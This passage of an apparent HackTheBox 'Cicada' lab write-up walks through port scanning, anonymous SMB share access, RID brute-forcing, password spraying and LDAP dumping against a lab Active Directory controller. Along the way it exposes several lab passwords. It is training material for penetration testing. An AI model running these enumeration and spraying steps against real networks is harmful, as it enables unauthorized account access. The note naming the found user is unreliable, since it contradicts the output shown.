| KoZIhvcNAQEBBQADggEPADCCAQoCggEBAOatZznJ1Zy5E8fVFsDWtq531KAmTyX8
| BxPdIVefG1jKHLYTvSsQLVDuv02+p29iH9vnqYvIzSiFWilKCFBxtfOpyvCaEQua
| NaJqv3quymk/pw0xMfSLMuN5emPJ5yHtC7cantY51mSDrvXBxMVIf23JUKgbhqSc
| Srdh8fhL8XKgZXVjHmQZVn4ONg2vJP2tu7P1KkXXj7Mdry9GFEIpLdDa749PLy7x
| o1yw8CloMMtcFKwVaJHy7tMgwU5PVbFBeUhhKhQ8jBR3OBaMBtqIzIAJ092LNysy
| 4W6q8iWFc+Tb43gFP4nfb1Xvp5mJ2pStqCeZlneiL7Be0SqdDhljB4ECAwEAAaOC
| Au4wggLqMC8GCSsGAQQBgjcUAgQiHiAARABvAG0AYQBpAG4AQwBvAG4AdAByAG8A
| bABsAGUAcjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwDgYDVR0PAQH/
| BAQDAgWgMHgGCSqGSIb3DQEJDwRrMGkwDgYIKoZIhvcNAwICAgCAMA4GCCqGSIb3
| DQMEAgIAgDALBglghkgBZQMEASowCwYJYIZIAWUDBAEtMAsGCWCGSAFlAwQBAjAL
| BglghkgBZQMEAQUwBwYFKw4DAgcwCgYIKoZIhvcNAwcwHQYDVR0OBBYEFAY5YMN7
| Sb0WV8GpzydFLPC+751AMB8GA1UdIwQYMBaAFIgPuAt1+B1uRE3nh16Q6gSBkTzp
| MIHLBgNVHR8EgcMwgcAwgb2ggbqggbeGgbRsZGFwOi8vL0NOPUNJQ0FEQS1EQy1D
| QSxDTj1DSUNBREEtREMsQ049Q0RQLENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2Vz
| LENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9Y2ljYWRhLERDPWh0Yj9j
| ZXJ0aWZpY2F0ZVJldm9jYXRpb25MaXN0P2Jhc2U/b2JqZWN0Q2xhc3M9Y1JMRGlz
| dHJpYnV0aW9uUG9pbnQwgb0GCCsGAQUFBwEBBIGwMIGtMIGqBggrBgEFBQcwAoaB
| nWxkYXA6Ly8vQ049Q0lDQURBLURDLUNBLENOPUFJQSxDTj1QdWJsaWMlMjBLZXkl
| MjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1cmF0aW9uLERDPWNpY2Fk
| YSxEQz1odGI/Y0FDZXJ0aWZpY2F0ZT9iYXNlP29iamVjdENsYXNzPWNlcnRpZmlj
| YXRpb25BdXRob3JpdHkwQAYDVR0RBDkwN6AfBgkrBgEEAYI3GQGgEgQQ0dpG4APi
| HkGYUf0NXWYT14IUQ0lDQURBLURDLmNpY2FkYS5odGIwDQYJKoZIhvcNAQELBQAD
| ggEBAIrY4wzebzUMnbrfpkvGA715ds8pNq06CN4/24q0YmowD+XSR/OI0En8Z9LE
| eytwBsFZJk5qv9yY+WL4Ubb4chKSsNjuc5SzaHxXAVczpNlH/a4WAKfVMU2D6nOb
| xxqE1cVIcOyN4b3WUhRNltauw81EUTa4xT0WElw8FevodHlBXiUPUT9zrBhnvNkz
| obX8oU3zyMO89QwxsusZ0TLiT/EREW6N44J+ROTUzdJwcFNRl+oLsiK5z/ltLRmT
| P/gFJvqMFfK4x4/ftmQV5M3hb0rzUcS4NJCGtclEoxlJHRTDTG6yZleuHvKSN4JF
| ji6zxYOoOznp6JlmbakLb1ZRLA8=
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time
445/tcp  open  microsoft-ds? syn-ack
464/tcp  open  kpasswd5?     syn-ack
636/tcp  open  ssl/ldap      syn-ack Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::&lt;unsupported&gt;, DNS:CICADA-DC.cicada.htb
| Issuer: commonName=CICADA-DC-CA/domainComponent=cicada
| Public Key <span class="hljs-built_in">type</span>: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-08-22T20:24:16
| Not valid after:  2025-08-22T20:24:16
| MD5:   9ec5:1a23:40ef:b5b8:3d2c:39d8:447d:db65
| SHA-1: 2c93:6d7b:cfd8:11b9:9f71:1a5a:155d:88d3:4a52:157a
| -----BEGIN CERTIFICATE-----
| MIIF4DCCBMigAwIBAgITHgAAAAOY38QFU4GSRAABAAAAAzANBgkqhkiG9w0BAQsF
| ADBEMRMwEQYKCZImiZPyLGQBGRYDaHRiMRYwFAYKCZImiZPyLGQBGRYGY2ljYWRh
| MRUwEwYDVQQDEwxDSUNBREEtREMtQ0EwHhcNMjQwODIyMjAyNDE2WhcNMjUwODIy
| MjAyNDE2WjAfMR0wGwYDVQQDExRDSUNBREEtREMuY2ljYWRhLmh0YjCCASIwDQYJ
| KoZIhvcNAQEBBQADggEPADCCAQoCggEBAOatZznJ1Zy5E8fVFsDWtq531KAmTyX8
| BxPdIVefG1jKHLYTvSsQLVDuv02+p29iH9vnqYvIzSiFWilKCFBxtfOpyvCaEQua
| NaJqv3quymk/pw0xMfSLMuN5emPJ5yHtC7cantY51mSDrvXBxMVIf23JUKgbhqSc
| Srdh8fhL8XKgZXVjHmQZVn4ONg2vJP2tu7P1KkXXj7Mdry9GFEIpLdDa749PLy7x
| o1yw8CloMMtcFKwVaJHy7tMgwU5PVbFBeUhhKhQ8jBR3OBaMBtqIzIAJ092LNysy
| 4W6q8iWFc+Tb43gFP4nfb1Xvp5mJ2pStqCeZlneiL7Be0SqdDhljB4ECAwEAAaOC
| Au4wggLqMC8GCSsGAQQBgjcUAgQiHiAARABvAG0AYQBpAG4AQwBvAG4AdAByAG8A
| bABsAGUAcjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwDgYDVR0PAQH/
| BAQDAgWgMHgGCSqGSIb3DQEJDwRrMGkwDgYIKoZIhvcNAwICAgCAMA4GCCqGSIb3
| DQMEAgIAgDALBglghkgBZQMEASowCwYJYIZIAWUDBAEtMAsGCWCGSAFlAwQBAjAL
| BglghkgBZQMEAQUwBwYFKw4DAgcwCgYIKoZIhvcNAwcwHQYDVR0OBBYEFAY5YMN7
| Sb0WV8GpzydFLPC+751AMB8GA1UdIwQYMBaAFIgPuAt1+B1uRE3nh16Q6gSBkTzp
| MIHLBgNVHR8EgcMwgcAwgb2ggbqggbeGgbRsZGFwOi8vL0NOPUNJQ0FEQS1EQy1D
| QSxDTj1DSUNBREEtREMsQ049Q0RQLENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2Vz
| LENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9Y2ljYWRhLERDPWh0Yj9j
| ZXJ0aWZpY2F0ZVJldm9jYXRpb25MaXN0P2Jhc2U/b2JqZWN0Q2xhc3M9Y1JMRGlz
| dHJpYnV0aW9uUG9pbnQwgb0GCCsGAQUFBwEBBIGwMIGtMIGqBggrBgEFBQcwAoaB
| nWxkYXA6Ly8vQ049Q0lDQURBLURDLUNBLENOPUFJQSxDTj1QdWJsaWMlMjBLZXkl
| MjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1cmF0aW9uLERDPWNpY2Fk
| YSxEQz1odGI/Y0FDZXJ0aWZpY2F0ZT9iYXNlP29iamVjdENsYXNzPWNlcnRpZmlj
| YXRpb25BdXRob3JpdHkwQAYDVR0RBDkwN6AfBgkrBgEEAYI3GQGgEgQQ0dpG4APi
| HkGYUf0NXWYT14IUQ0lDQURBLURDLmNpY2FkYS5odGIwDQYJKoZIhvcNAQELBQAD
| ggEBAIrY4wzebzUMnbrfpkvGA715ds8pNq06CN4/24q0YmowD+XSR/OI0En8Z9LE
| eytwBsFZJk5qv9yY+WL4Ubb4chKSsNjuc5SzaHxXAVczpNlH/a4WAKfVMU2D6nOb
| xxqE1cVIcOyN4b3WUhRNltauw81EUTa4xT0WElw8FevodHlBXiUPUT9zrBhnvNkz
| obX8oU3zyMO89QwxsusZ0TLiT/EREW6N44J+ROTUzdJwcFNRl+oLsiK5z/ltLRmT
| P/gFJvqMFfK4x4/ftmQV5M3hb0rzUcS4NJCGtclEoxlJHRTDTG6yZleuHvKSN4JF
| ji6zxYOoOznp6JlmbakLb1ZRLA8=
|_-----END CERTIFICATE-----
3268/tcp open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::&lt;unsupported&gt;, DNS:CICADA-DC.cicada.htb
| Issuer: commonName=CICADA-DC-CA/domainComponent=cicada
| Public Key <span class="hljs-built_in">type</span>: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-08-22T20:24:16
| Not valid after:  2025-08-22T20:24:16
| MD5:   9ec5:1a23:40ef:b5b8:3d2c:39d8:447d:db65
| SHA-1: 2c93:6d7b:cfd8:11b9:9f71:1a5a:155d:88d3:4a52:157a
| -----BEGIN CERTIFICATE-----
| MIIF4DCCBMigAwIBAgITHgAAAAOY38QFU4GSRAABAAAAAzANBgkqhkiG9w0BAQsF
| ADBEMRMwEQYKCZImiZPyLGQBGRYDaHRiMRYwFAYKCZImiZPyLGQBGRYGY2ljYWRh
| MRUwEwYDVQQDEwxDSUNBREEtREMtQ0EwHhcNMjQwODIyMjAyNDE2WhcNMjUwODIy
| MjAyNDE2WjAfMR0wGwYDVQQDExRDSUNBREEtREMuY2ljYWRhLmh0YjCCASIwDQYJ
| KoZIhvcNAQEBBQADggEPADCCAQoCggEBAOatZznJ1Zy5E8fVFsDWtq531KAmTyX8
| BxPdIVefG1jKHLYTvSsQLVDuv02+p29iH9vnqYvIzSiFWilKCFBxtfOpyvCaEQua
| NaJqv3quymk/pw0xMfSLMuN5emPJ5yHtC7cantY51mSDrvXBxMVIf23JUKgbhqSc
| Srdh8fhL8XKgZXVjHmQZVn4ONg2vJP2tu7P1KkXXj7Mdry9GFEIpLdDa749PLy7x
| o1yw8CloMMtcFKwVaJHy7tMgwU5PVbFBeUhhKhQ8jBR3OBaMBtqIzIAJ092LNysy
| 4W6q8iWFc+Tb43gFP4nfb1Xvp5mJ2pStqCeZlneiL7Be0SqdDhljB4ECAwEAAaOC
| Au4wggLqMC8GCSsGAQQBgjcUAgQiHiAARABvAG0AYQBpAG4AQwBvAG4AdAByAG8A
| bABsAGUAcjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwDgYDVR0PAQH/
| BAQDAgWgMHgGCSqGSIb3DQEJDwRrMGkwDgYIKoZIhvcNAwICAgCAMA4GCCqGSIb3
| DQMEAgIAgDALBglghkgBZQMEASowCwYJYIZIAWUDBAEtMAsGCWCGSAFlAwQBAjAL
| BglghkgBZQMEAQUwBwYFKw4DAgcwCgYIKoZIhvcNAwcwHQYDVR0OBBYEFAY5YMN7
| Sb0WV8GpzydFLPC+751AMB8GA1UdIwQYMBaAFIgPuAt1+B1uRE3nh16Q6gSBkTzp
| MIHLBgNVHR8EgcMwgcAwgb2ggbqggbeGgbRsZGFwOi8vL0NOPUNJQ0FEQS1EQy1D
| QSxDTj1DSUNBREEtREMsQ049Q0RQLENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2Vz
| LENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9Y2ljYWRhLERDPWh0Yj9j
| ZXJ0aWZpY2F0ZVJldm9jYXRpb25MaXN0P2Jhc2U/b2JqZWN0Q2xhc3M9Y1JMRGlz
| dHJpYnV0aW9uUG9pbnQwgb0GCCsGAQUFBwEBBIGwMIGtMIGqBggrBgEFBQcwAoaB
| nWxkYXA6Ly8vQ049Q0lDQURBLURDLUNBLENOPUFJQSxDTj1QdWJsaWMlMjBLZXkl
| MjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1cmF0aW9uLERDPWNpY2Fk
| YSxEQz1odGI/Y0FDZXJ0aWZpY2F0ZT9iYXNlP29iamVjdENsYXNzPWNlcnRpZmlj
| YXRpb25BdXRob3JpdHkwQAYDVR0RBDkwN6AfBgkrBgEEAYI3GQGgEgQQ0dpG4APi
| HkGYUf0NXWYT14IUQ0lDQURBLURDLmNpY2FkYS5odGIwDQYJKoZIhvcNAQELBQAD
| ggEBAIrY4wzebzUMnbrfpkvGA715ds8pNq06CN4/24q0YmowD+XSR/OI0En8Z9LE
| eytwBsFZJk5qv9yY+WL4Ubb4chKSsNjuc5SzaHxXAVczpNlH/a4WAKfVMU2D6nOb
| xxqE1cVIcOyN4b3WUhRNltauw81EUTa4xT0WElw8FevodHlBXiUPUT9zrBhnvNkz
| obX8oU3zyMO89QwxsusZ0TLiT/EREW6N44J+ROTUzdJwcFNRl+oLsiK5z/ltLRmT
| P/gFJvqMFfK4x4/ftmQV5M3hb0rzUcS4NJCGtclEoxlJHRTDTG6yZleuHvKSN4JF
| ji6zxYOoOznp6JlmbakLb1ZRLA8=
|_-----END CERTIFICATE-----
3269/tcp open  ssl/ldap      syn-ack Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::&lt;unsupported&gt;, DNS:CICADA-DC.cicada.htb
| Issuer: commonName=CICADA-DC-CA/domainComponent=cicada
| Public Key <span class="hljs-built_in">type</span>: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-08-22T20:24:16
| Not valid after:  2025-08-22T20:24:16
| MD5:   9ec5:1a23:40ef:b5b8:3d2c:39d8:447d:db65
| SHA-1: 2c93:6d7b:cfd8:11b9:9f71:1a5a:155d:88d3:4a52:157a
| -----BEGIN CERTIFICATE-----
| MIIF4DCCBMigAwIBAgITHgAAAAOY38QFU4GSRAABAAAAAzANBgkqhkiG9w0BAQsF
| ADBEMRMwEQYKCZImiZPyLGQBGRYDaHRiMRYwFAYKCZImiZPyLGQBGRYGY2ljYWRh
| MRUwEwYDVQQDEwxDSUNBREEtREMtQ0EwHhcNMjQwODIyMjAyNDE2WhcNMjUwODIy
| MjAyNDE2WjAfMR0wGwYDVQQDExRDSUNBREEtREMuY2ljYWRhLmh0YjCCASIwDQYJ
| KoZIhvcNAQEBBQADggEPADCCAQoCggEBAOatZznJ1Zy5E8fVFsDWtq531KAmTyX8
| BxPdIVefG1jKHLYTvSsQLVDuv02+p29iH9vnqYvIzSiFWilKCFBxtfOpyvCaEQua
| NaJqv3quymk/pw0xMfSLMuN5emPJ5yHtC7cantY51mSDrvXBxMVIf23JUKgbhqSc
| Srdh8fhL8XKgZXVjHmQZVn4ONg2vJP2tu7P1KkXXj7Mdry9GFEIpLdDa749PLy7x
| o1yw8CloMMtcFKwVaJHy7tMgwU5PVbFBeUhhKhQ8jBR3OBaMBtqIzIAJ092LNysy
| 4W6q8iWFc+Tb43gFP4nfb1Xvp5mJ2pStqCeZlneiL7Be0SqdDhljB4ECAwEAAaOC
| Au4wggLqMC8GCSsGAQQBgjcUAgQiHiAARABvAG0AYQBpAG4AQwBvAG4AdAByAG8A
| bABsAGUAcjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwDgYDVR0PAQH/
| BAQDAgWgMHgGCSqGSIb3DQEJDwRrMGkwDgYIKoZIhvcNAwICAgCAMA4GCCqGSIb3
| DQMEAgIAgDALBglghkgBZQMEASowCwYJYIZIAWUDBAEtMAsGCWCGSAFlAwQBAjAL
| BglghkgBZQMEAQUwBwYFKw4DAgcwCgYIKoZIhvcNAwcwHQYDVR0OBBYEFAY5YMN7
| Sb0WV8GpzydFLPC+751AMB8GA1UdIwQYMBaAFIgPuAt1+B1uRE3nh16Q6gSBkTzp
| MIHLBgNVHR8EgcMwgcAwgb2ggbqggbeGgbRsZGFwOi8vL0NOPUNJQ0FEQS1EQy1D
| QSxDTj1DSUNBREEtREMsQ049Q0RQLENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2Vz
| LENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9Y2ljYWRhLERDPWh0Yj9j
| ZXJ0aWZpY2F0ZVJldm9jYXRpb25MaXN0P2Jhc2U/b2JqZWN0Q2xhc3M9Y1JMRGlz
| dHJpYnV0aW9uUG9pbnQwgb0GCCsGAQUFBwEBBIGwMIGtMIGqBggrBgEFBQcwAoaB
| nWxkYXA6Ly8vQ049Q0lDQURBLURDLUNBLENOPUFJQSxDTj1QdWJsaWMlMjBLZXkl
| MjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1cmF0aW9uLERDPWNpY2Fk
| YSxEQz1odGI/Y0FDZXJ0aWZpY2F0ZT9iYXNlP29iamVjdENsYXNzPWNlcnRpZmlj
| YXRpb25BdXRob3JpdHkwQAYDVR0RBDkwN6AfBgkrBgEEAYI3GQGgEgQQ0dpG4APi
| HkGYUf0NXWYT14IUQ0lDQURBLURDLmNpY2FkYS5odGIwDQYJKoZIhvcNAQELBQAD
| ggEBAIrY4wzebzUMnbrfpkvGA715ds8pNq06CN4/24q0YmowD+XSR/OI0En8Z9LE
| eytwBsFZJk5qv9yY+WL4Ubb4chKSsNjuc5SzaHxXAVczpNlH/a4WAKfVMU2D6nOb
| xxqE1cVIcOyN4b3WUhRNltauw81EUTa4xT0WElw8FevodHlBXiUPUT9zrBhnvNkz
| obX8oU3zyMO89QwxsusZ0TLiT/EREW6N44J+ROTUzdJwcFNRl+oLsiK5z/ltLRmT
| P/gFJvqMFfK4x4/ftmQV5M3hb0rzUcS4NJCGtclEoxlJHRTDTG6yZleuHvKSN4JF
| ji6zxYOoOznp6JlmbakLb1ZRLA8=
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time
5985/tcp open  http          syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: Host: CICADA-DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2024-09-29T14:09:57
|_  start_date: N/A
|_clock-skew: 6h59m59s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| p2p-conficker: 
|   Checking <span class="hljs-keyword">for</span> Conficker.C or higher...
|   Check 1 (port 8553/tcp): CLEAN (Timeout)
|   Check 2 (port 47321/tcp): CLEAN (Timeout)
|   Check 3 (port 13872/udp): CLEAN (Timeout)
|   Check 4 (port 50193/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
</code></pre>
<p><strong>Key Observations:</strong></p>
<ul>
<li><p>Typical AD-related services (Kerberos - 88, LDAP - 389/636, SMB - 445, DNS - 53)</p>
</li>
<li><p>HTTP on port 5985 → WinRM</p>
</li>
<li><p>LDAP over SSL (636/3269)</p>
</li>
<li><p>Hostname discovered: <code>CICADA-DC.cicada.htb</code></p>
</li>
</ul>
<h2 id="heading-smb-enumeration">SMB Enumeration</h2>
<h3 id="heading-list-shares-anonymously">List shares anonymously</h3>
<pre><code class="lang-bash">smbclient -L //10.129.200.210/                        
Password <span class="hljs-keyword">for</span> [WORKGROUP\\xxxxx]:

    Sharename       Type      Comment
    ---------       ----      -------
    ADMIN$          Disk      Remote Admin
    C$              Disk      Default share
    DEV             Disk      
    HR              Disk      
    IPC$            IPC       Remote IPC
    NETLOGON        Disk      Logon server share 
    SYSVOL          Disk      Logon server share 
Reconnecting with SMB1 <span class="hljs-keyword">for</span> workgroup listing.
do_connect: Connection to 10.129.200.210 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
</code></pre>
<p><strong>We found some interesting shares:</strong></p>
<ul>
<li><p><code>HR</code></p>
</li>
<li><p><code>DEV</code></p>
</li>
<li><p><code>NETLOGON</code>, <code>SYSVOL</code> (standard AD shares)</p>
</li>
</ul>
<h3 id="heading-downloading-hr-files">Downloading HR files</h3>
<pre><code class="lang-bash">smbclient \\\\\\\\10.129.200.210\\\\HR -N       
Try <span class="hljs-string">"help"</span> to get a list of possible commands.
smb: \\&gt; ls
  .                                   D        0  Thu Mar 14 17:59:09 2024
  ..                                  D        0  Thu Mar 14 17:51:29 2024
  Notice from HR.txt                  A     1266  Wed Aug 28 23:01:48 2024

        4168447 blocks of size 4096. 328898 blocks available
smb: \\&gt; get <span class="hljs-string">"Notice from HR.txt"</span>
getting file \\Notice from HR.txt of size 1266 as Notice from HR.txt (1.7 KiloBytes/sec) (average 1.7 KiloBytes/sec)
smb: \\&gt; <span class="hljs-built_in">exit</span>
</code></pre>
<p><strong>Notice from HR.txt contains a default password:</strong></p>
<pre><code class="lang-bash">Dear new hire!

Welcome to Cicada Corp! We<span class="hljs-string">'re thrilled to have you join our team. As part of our security protocols, it'</span>s essential that you change your default password to something unique and secure.

Your default password is: Cicada<span class="hljs-variable">$M6Corpb</span>*@Lp<span class="hljs-comment">#nZp!8</span>

To change your password:

1. Log <span class="hljs-keyword">in</span> to your Cicada Corp account** using the provided username and the default password mentioned above.
2. Once logged <span class="hljs-keyword">in</span>, navigate to your account settings or profile settings section.
3. Look <span class="hljs-keyword">for</span> the option to change your password. This will be labeled as <span class="hljs-string">"Change Password"</span>.
4. Follow the prompts to create a new password**. Make sure your new password is strong, containing a mix of uppercase letters, lowercase letters, numbers, and special characters.
5. After changing your password, make sure to save your changes.

Remember, your password is a crucial aspect of keeping your account secure. Please <span class="hljs-keyword">do</span> not share your password with anyone, and ensure you use a complex password.

If you encounter any issues or need assistance with changing your password, don<span class="hljs-string">'t hesitate to reach out to our support team at support@cicada.htb.

Thank you for your attention to this matter, and once again, welcome to the Cicada Corp team!

Best regards,
Cicada Corp</span>
</code></pre>
<p><strong>Password</strong>: <code>Cicada$M6Corpb*@Lp#nZp!8</code></p>
<h2 id="heading-enumerating-users">Enumerating Users</h2>
<p><strong>We used RID brute-forcing to identify valid users:</strong></p>
<pre><code class="lang-bash">crackmapexec smb 10.129.200.210 -u <span class="hljs-string">'guest'</span> -p <span class="hljs-string">''</span> --rid-brute | grep SidTypeUser
SMB                      10.129.200.210  445    CICADA-DC        500: CICADA\\Administrator (SidTypeUser)
SMB                      10.129.200.210  445    CICADA-DC        501: CICADA\\Guest (SidTypeUser)
SMB                      10.129.200.210  445    CICADA-DC        502: CICADA\\krbtgt (SidTypeUser)
SMB                      10.129.200.210  445    CICADA-DC        1000: CICADA\\CICADA-DC$ (SidTypeUser)
SMB                      10.129.200.210  445    CICADA-DC        1104: CICADA\\john.smoulder (SidTypeUser)
SMB                      10.129.200.210  445    CICADA-DC        1105: CICADA\\sarah.dantelia (SidTypeUser)
SMB                      10.129.200.210  445    CICADA-DC        1106: CICADA\\michael.wrightson (SidTypeUser)
SMB                      10.129.200.210  445    CICADA-DC        1108: CICADA\\david.orelious (SidTypeUser)
SMB                      10.129.200.210  445    CICADA-DC        1601: CICADA\\emily.oscars (SidTypeUser)
</code></pre>
<h3 id="heading-discovered-users">Discovered Users</h3>
<pre><code class="lang-bash">Administrator
Guest
krbtgt
CICADA-DC$
john.smoulder
sarah.dantelia
michael.wrightson
david.orelious
emily.oscars
</code></pre>
<h3 id="heading-credential-stuffing">Credential Stuffing</h3>
<p>Now that we have a potential default password, we test it against all discovered users.</p>
<pre><code class="lang-bash">netexec smb 10.129.200.210 -u users.txt  -p pass.txt 

[*] First time use detected
[*] Creating home directory structure
[*] Creating missing folder logs
[*] Creating missing folder modules
[*] Creating missing folder protocols
[*] Creating missing folder workspaces
[*] Creating missing folder obfuscated_scripts
[*] Creating missing folder screenshots
[*] Creating default workspace
[*] Initializing LDAP protocol database
[*] Initializing WINRM protocol database
[*] Initializing RDP protocol database
[*] Initializing VNC protocol database
[*] Initializing SMB protocol database
[*] Initializing SSH protocol database
[*] Initializing MSSQL protocol database
[*] Initializing FTP protocol database
[*] Initializing WMI protocol database
[*] Copying default configuration file
SMB         10.129.200.210  445    CICADA-DC        [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB         10.129.200.210  445    CICADA-DC        [-] cicada.htb\\Administrator:Cicada<span class="hljs-variable">$M6Corpb</span>*@Lp<span class="hljs-comment">#nZp!8 STATUS_LOGON_FAILURE</span>
SMB         10.129.200.210  445    CICADA-DC        [-] cicada.htb\\Guest:Cicada<span class="hljs-variable">$M6Corpb</span>*@Lp<span class="hljs-comment">#nZp!8 STATUS_LOGON_FAILURE</span>
SMB         10.129.200.210  445    CICADA-DC        [-] cicada.htb\\krbtgt:Cicada<span class="hljs-variable">$M6Corpb</span>*@Lp<span class="hljs-comment">#nZp!8 STATUS_LOGON_FAILURE</span>
SMB         10.129.200.210  445    CICADA-DC        [-] cicada.htb\\CICADA-DC$:Cicada<span class="hljs-variable">$M6Corpb</span>*@Lp<span class="hljs-comment">#nZp!8 STATUS_LOGON_FAILURE</span>
SMB         10.129.200.210  445    CICADA-DC        [-] cicada.htb\\john.smoulder:Cicada<span class="hljs-variable">$M6Corpb</span>*@Lp<span class="hljs-comment">#nZp!8 STATUS_LOGON_FAILURE</span>
SMB         10.129.200.210  445    CICADA-DC        [-] cicada.htb\\sarah.dantelia:Cicada<span class="hljs-variable">$M6Corpb</span>*@Lp<span class="hljs-comment">#nZp!8 STATUS_LOGON_FAILURE</span>
SMB         10.129.200.210  445    CICADA-DC        [+] cicada.htb\\michael.wrightson:Cicada<span class="hljs-variable">$M6Corpb</span>*@Lp<span class="hljs-comment">#nZp!8</span>
</code></pre>
<p>Found credentials:</p>
<pre><code class="lang-bash">SMB         10.129.200.210  445    CICADA-DC        [+] cicada.htb\\michael.wrightson:Cicada<span class="hljs-variable">$M6Corpb</span>*@Lp<span class="hljs-comment">#nZp!8</span>
</code></pre>
<p><strong>Username</strong>: <code>emily.oscars</code><br />Password: <code>Cicada$M6Corpb*@Lp#nZp!8</code></p>
<h2 id="heading-ldap-enumeration">LDAP Enumeration</h2>
<p>Now that we have valid credentials, we can query LDAP for more internal information:</p>
<pre><code class="lang-bash">ldapdomaindump ldap://10.129.200.210 -u <span class="hljs-string">'cicada.htb\\michael.wrightson'</span> -p <span class="hljs-string">'Cicada$M6Corpb*@Lp#nZp!8'</span>
[*] Connecting to host...
[*] Binding to host
[+] Bind OK
[*] Starting domain dump
[+] Domain dump finished
</code></pre>
<pre><code class="lang-bash">David Orelious    David Orelious    david.orelious        Domain Users    03/14/24 12:17:29    08/28/24 17:25:57    03/15/24 06:32:21    NORMAL_ACCOUNT, DONT_EXPIRE_PASSWD    03/14/24 12:17:29    S-1-5-21-917908876-1423158569-3159038727-1108    Just <span class="hljs-keyword">in</span> <span class="hljs-keyword">case</span> I forget my password is aRt<span class="hljs-variable">$Lp</span><span class="hljs-comment">#7t*VQ!3</span>
</code></pre>
<p>Got another credentials</p>
<pre><code class="lang-bash">david.orelious:aRt<span class="hljs-variable">$Lp</span><span class="hljs-comment">#7t*VQ!3</span>
</code></pre>
<h3 id="heading-smb-share-access-davidorelious">SMB Share Access (david.orelious)</h3>
<p>Using <code>smbclient</code>, we explored shares available to David:</p>
<pre><code class="lang-bash">smbclient //10.129.200.210/DEV -U david.orelious
Password <span class="hljs-keyword">for</span> [WORKGROUP\\david.orelious]:
Try <span class="hljs-string">"help"</span> to get a list of possible commands.
smb: \\&gt; ls
  .                                   D        0  Thu Mar 14 18:01:39 2024
  ..                                  D        0  Thu Mar 14 17:51:29 2024
  Backup_script.ps1                   A      601  Wed Aug 28 22:58:22 2024

        4168447 blocks of size 4096. 328478 blocks available
smb: \\&gt; get Backup_script.ps1
getting file \\Backup_script.ps1 of size 601 as Backup_script.ps1 (0.7 KiloBytes/sec) (average 0.7 KiloBytes/sec)
smb: \\&gt; <span class="hljs-built_in">exit</span>
</code></pre>
<pre><code class="lang-powershell"><span class="hljs-built_in">cat</span> Backup_script.ps1   

<span class="hljs-variable">$sourceDirectory</span> = <span class="hljs-string">"C:\\smb"</span>
<span class="hljs-variable">$destinationDirectory</span> = <span class="hljs-string">"D:\\Backup"</span>

<span class="hljs-variable">$username</span> = <span class="hljs-string">"emily.oscars"</span>
<span class="hljs-variable">$password</span> = <span class="hljs-built_in">ConvertTo-SecureString</span> <span class="hljs-string">"Q!3@Lp#M6b*7t*Vt"</span> <span class="hljs-literal">-AsPlainText</span> <span class="hljs-literal">-Force</span>
<span class="hljs-variable">$credentials</span> = <span class="hljs-built_in">New-Object</span> System.Management.Automation.PSCredential(<span class="hljs-variable">$username</span>, <span class="hljs-variable">$password</span>)
<span class="hljs-variable">$dateStamp</span> = <span class="hljs-built_in">Get-Date</span> <span class="hljs-literal">-Format</span> <span class="hljs-string">"yyyyMMdd_HHmmss"</span>
<span class="hljs-variable">$backupFileName</span> = <span class="hljs-string">"smb_backup_<span class="hljs-variable">$dateStamp</span>.zip"</span>
<span class="hljs-variable">$backupFilePath</span> = <span class="hljs-built_in">Join-Path</span> <span class="hljs-literal">-Path</span> <span class="hljs-variable">$destinationDirectory</span> <span class="hljs-literal">-ChildPath</span> <span class="hljs-variable">$backupFileName</span>
<span class="hljs-built_in">Compress-Archive</span> <span class="hljs-literal">-Path</span> <span class="hljs-variable">$sourceDirectory</span> <span class="hljs-literal">-DestinationPath</span> <span class="hljs-variable">$backupFilePath</span>
